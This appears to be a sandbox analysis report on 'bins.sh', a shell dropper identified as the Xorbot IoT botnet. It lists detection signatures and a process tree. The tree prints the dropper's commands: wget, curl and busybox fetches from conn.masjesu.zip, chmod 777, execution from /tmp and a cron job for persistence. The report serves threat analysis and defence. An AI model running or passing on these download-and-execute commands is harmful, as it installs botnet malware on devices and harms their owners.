Overview

overview

10

Static

static

1

bins.sh

ubuntu-18.04-amd64

10

bins.sh

debian-9-armhf

10

bins.sh

debian-9-mips

10

bins.sh

debian-9-mipsel

10

Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    24/02/2025, 03:08

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250224-dmyeesymat
  • SHA256 e897d39e8b4ffa5c13fa0eb4daf52ffd11e22d1be62ff639271f9c522bc6c9ff
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xorbotantivmbotnetdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
    botnettrojan
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

    botnettrojanxorbot
  • Xorbot family
    xorbot
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Contacts a large (1866) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Executes dropped EXE 2 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

    executionpersistenceprivilege_escalation
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 2 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

    antivm
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 7 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 5 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:660
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:662
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/0gvD3yjPAKb1PzVWUZ2ZZw0wbxcngCGOhn
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:664
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/0gvD3yjPAKb1PzVWUZ2ZZw0wbxcngCGOhn
        2⤵
        • Checks CPU configuration
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:679
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/0gvD3yjPAKb1PzVWUZ2ZZw0wbxcngCGOhn
        2⤵
        • System Network Configuration Discovery
        PID:692
      • /bin/chmod
        chmod 777 0gvD3yjPAKb1PzVWUZ2ZZw0wbxcngCGOhn
        2⤵
        • File and Directory Permissions Modification
        PID:723
      • /tmp/0gvD3yjPAKb1PzVWUZ2ZZw0wbxcngCGOhn
        ./0gvD3yjPAKb1PzVWUZ2ZZw0wbxcngCGOhn
        2⤵
          PID:727
        • /bin/rm
          rm 0gvD3yjPAKb1PzVWUZ2ZZw0wbxcngCGOhn
          2⤵
            PID:729
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/UgSJpejeXKUMBYf4uqfveA7Mfv3cgi9quw
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:730
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/UgSJpejeXKUMBYf4uqfveA7Mfv3cgi9quw
            2⤵
            • Checks CPU configuration
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:774
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/UgSJpejeXKUMBYf4uqfveA7Mfv3cgi9quw
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:776
          • /bin/chmod
            chmod 777 UgSJpejeXKUMBYf4uqfveA7Mfv3cgi9quw
            2⤵
            • File and Directory Permissions Modification
            PID:777
          • /tmp/UgSJpejeXKUMBYf4uqfveA7Mfv3cgi9quw
            ./UgSJpejeXKUMBYf4uqfveA7Mfv3cgi9quw
            2⤵
            • Renames itself
            • Reads runtime system information
            PID:778
            • /bin/sh
              sh -c "crontab -l"
              3⤵
                PID:780
                • /usr/bin/crontab
                  crontab -l
                  4⤵
                    PID:781
                • /bin/sh
                  sh -c "crontab -"
                  3⤵
                    PID:782
                    • /usr/bin/crontab
                      crontab -
                      4⤵
                      • Creates/modifies Cron job
                      PID:783
                • /bin/rm
                  rm UgSJpejeXKUMBYf4uqfveA7Mfv3cgi9quw
                  2⤵
                    PID:785
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/bf2tdSzo4Yvmchk4SQIANfj6vpcaViu04F
                    2⤵
                    • System Network Configuration Discovery
                    PID:788

                Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      0gvD3yjPAKb1PzVWUZ2ZZw0wbxcngCGOhn
                      • Path /tmp/0gvD3yjPAKb1PzVWUZ2ZZw0wbxcngCGOhn
                      • Size 117KB
                      • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                      • MD5 SHA1 SHA512 SSDEEP
                      Submit Download

                      UgSJpejeXKUMBYf4uqfveA7Mfv3cgi9quw
                      • Path /tmp/UgSJpejeXKUMBYf4uqfveA7Mfv3cgi9quw
                      • Size 177KB
                      • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                      • MD5 SHA1 SHA512 SSDEEP
                      Submit Download

                      tmp.0Y2KBd
                      • Path /var/spool/cron/crontabs/tmp.0Y2KBd
                      • Size 210B
                      • SHA256 60b7ad008b2387cd8eaa48492317b3cb66f89c0227d20018d359b87401d6cc26
                      • MD5 SHA1 SHA512
                      Submit Download